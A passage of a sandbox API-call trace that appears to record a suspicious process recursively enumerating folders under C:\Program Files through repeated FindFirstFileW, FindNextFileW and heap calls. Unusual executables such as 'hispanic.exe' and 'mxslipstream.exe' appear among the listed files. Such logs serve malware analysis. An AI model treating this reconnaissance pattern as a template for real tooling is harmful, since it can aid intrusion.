0x33e48a8 [0214.540] GetProcessHeap () returned 0xc10000 [0214.540] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0214.541] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a6d7a0a, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4aebd53e, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4aebd53e, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4d68 [0214.543] GetProcessHeap () returned 0xc10000 [0214.543] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38e0048 [0214.543] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a6d7a0a, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4a6fdac8, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a6fdac8, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4968 [0214.547] GetProcessHeap () returned 0xc10000 [0214.547] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38e0048 | out: hHeap=0xc10000) returned 1 [0214.547] GetProcessHeap () returned 0xc10000 [0214.547] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0214.548] GetProcessHeap () returned 0xc10000 [0214.548] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33e8fc8 | out: hHeap=0xc10000) returned 1 [0214.548] GetProcessHeap () returned 0xc10000 [0214.548] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc38a60 | out: hHeap=0xc10000) returned 1 [0214.550] GetProcessHeap () returned 0xc10000 [0214.550] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33e8fc8 [0214.550] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Services\\*", lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c11068, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4da8 [0214.550] GetProcessHeap () returned 0xc10000 [0214.551] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33e8fc8 | out: hHeap=0xc10000) returned 1 [0214.551] GetProcessHeap () returned 0xc10000 [0214.551] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33e8fc8 [0214.551] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\*", lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c5f95f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4da8 [0214.553] GetProcessHeap () returned 0xc10000 [0214.553] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0xc38a60 [0214.554] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0cb0a3f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4b68 [0214.827] GetProcessHeap () returned 0xc10000 [0214.848] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0214.848] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0cb2730, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0214.848] GetProcessHeap () returned 0xc10000 [0214.848] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0214.848] GetProcessHeap () returned 0xc10000 [0214.848] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc38a60 | out: hHeap=0xc10000) returned 1 [0214.850] GetProcessHeap () returned 0xc10000 [0214.850] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0xc38a60 [0214.851] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\en-US\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0cb3579, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4de8 [0214.851] GetProcessHeap () returned 0xc10000 [0214.851] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc38a60 | out: hHeap=0xc10000) returned 1 [0214.851] GetProcessHeap () returned 0xc10000 [0214.851] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0xc38a60 [0214.851] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d7f179, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4b68 [0214.851] GetProcessHeap () returned 0xc10000 [0214.851] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0214.852] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d805e9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4968 [0214.852] GetProcessHeap () returned 0xc10000 [0214.852] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0214.852] GetProcessHeap () returned 0xc10000 [0214.853] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc38a60 | out: hHeap=0xc10000) returned 1 [0214.854] GetProcessHeap () returned 0xc10000 [0214.854] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0xc38a60 [0214.854] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d8186d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4b68 [0214.854] GetProcessHeap () returned 0xc10000 [0214.855] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0214.855] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d8245b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0214.856] GetProcessHeap () returned 0xc10000 [0214.856] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0214.856] GetProcessHeap () returned 0xc10000 [0214.856] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc38a60 | out: hHeap=0xc10000) returned 1 [0214.857] GetProcessHeap () returned 0xc10000 [0214.857] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33e8fc8 | out: hHeap=0xc10000) returned 1 [0214.857] GetProcessHeap () returned 0xc10000 [0214.857] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c1f98 | out: hHeap=0xc10000) returned 1 [0214.858] GetProcessHeap () returned 0xc10000 [0214.858] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c1f98 [0214.859] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xec1d2101, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xec1d2101, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0214.863] GetProcessHeap () returned 0xc10000 [0214.863] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33e8fc8 [0214.863] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\*", lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d83d92, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa21685bc, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4be8 [0214.864] GetProcessHeap () returned 0xc10000 [0214.864] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33e8fc8 | out: hHeap=0xc10000) returned 1 [0214.864] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae23e110, ftCreationTime.dwHighDateTime=0x1d5f029, ftLastAccessTime.dwLowDateTime=0xe6d57b80, ftLastAccessTime.dwHighDateTime=0x1d5d3a6, ftLastWriteTime.dwLowDateTime=0xe6d57b80, ftLastWriteTime.dwHighDateTime=0x1d5d3a6, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="hispanic.exe", cAlternateFileName="")) returned 1 [0214.864] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a9b1003, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a9b1003, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a9b1003, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd400, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="hmmapi.dll", cAlternateFileName="")) returned 1 [0214.864] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a49fe45, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a49fe45, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a49fe45, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x7d000, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="iediagcmd.exe", cAlternateFileName="")) returned 1 [0214.864] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a70c9a1, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xbc534b5e, ftLastAccessTime.dwHighDateTime=0x1d2fa09, ftLastWriteTime.dwLowDateTime=0x4a70c9a1, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x7a800, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="ieinstal.exe", cAlternateFileName="")) returned 1 [0214.865] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a49fe45, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a49fe45, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a49fe45, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x36c00, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="ielowutil.exe", cAlternateFileName="")) returned 1 [0214.865] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a49fe45, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a49fe45, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a4c60b4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x63800, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="IEShims.dll", cAlternateFileName="")) returned 1 [0214.865] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa182b3a4, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa1c0b0e4, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x8ca44c00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xc9340, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="iexplore.exe", cAlternateFileName="")) returned 1 [0214.865] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d846d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a485593, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0214.865] GetProcessHeap () returned 0xc10000 [0214.865] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33e8fc8 [0214.865] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\images\\*", lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d846d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a485593, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4b68 [0214.866] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d846d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a485593, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.866] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a55ea4d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a55ea4d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a55ea4d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1536, dwReserved0=0x0, dwReserved1=0x0, cFileName="bing.ico", cAlternateFileName="")) returned 1 [0214.866] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a55ea4d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a55ea4d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a55ea4d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1536, dwReserved0=0x0, dwReserved1=0x0, cFileName="bing.ico", cAlternateFileName="")) returned 0 [0214.866] FindClose (in: hFindFile=0x33e4b68 | out: hFindFile=0x33e4b68) returned 1 [0214.866] GetProcessHeap () returned 0xc10000 [0214.866] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33e8fc8 | out: hHeap=0xc10000) returned 1 [0214.866] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8aa5760, ftCreationTime.dwHighDateTime=0x1d5749c, ftLastAccessTime.dwLowDateTime=0xd580e080, ftLastAccessTime.dwHighDateTime=0x1d58479, ftLastWriteTime.dwLowDateTime=0xd580e080, ftLastWriteTime.dwHighDateTime=0x1d58479, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="mxslipstream.exe", cAlternateFileName="MXSLIP~1.EXE")) returned 1 [0214.866] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2132d, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb77a1634, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb77a1634, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="SIGNUP", cAlternateFileName="")) returned 1 [0214.867] GetProcessHeap () returned 0xc10000 [0214.867] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33e8fc8 [0214.867] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\SIGNUP\\*", lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2132d, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb77a1634, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb77a1634, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4828 [0214.867] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2132d, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb77a1634, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb77a1634, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.867] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30c952e, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x970b4468, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x970b4468, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x1c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="install.ins", cAlternateFileName="")) returned 1 [0214.867] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30c952e, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x970b4468, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x970b4468, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x1c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="install.ins", cAlternateFileName="")) returned 0 [0214.867] FindClose (in: hFindFile=0x33e4828 | out: hFindFile=0x33e4828) returned 1 [0214.867] GetProcessHeap () returned 0xc10000 [0214.867] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33e8fc8 | out: hHeap=0xc10000) returned 1 [0214.868] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a9b1003, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a9b1003, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a9b1003, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc218, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0214.868] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a9b1003, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a9b1003, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a9b1003, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc218, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 0 [0214.868] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0214.868] GetProcessHeap () returned 0xc10000 [0214.868] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c1f98 | out: hHeap=0xc10000) returned 1 [0214.869] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xe8d36153, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8d36153, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Java", cAlternateFileName="")) returned 1 [0214.869] GetProcessHeap () returned 0xc10000 [0214.869] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c1f98 [0214.870] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xe8d36153, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8d36153, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4de8 [0214.874] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xe8d36153, ftLastAccessTime.dwHighDateTime=0x1d5f12a, 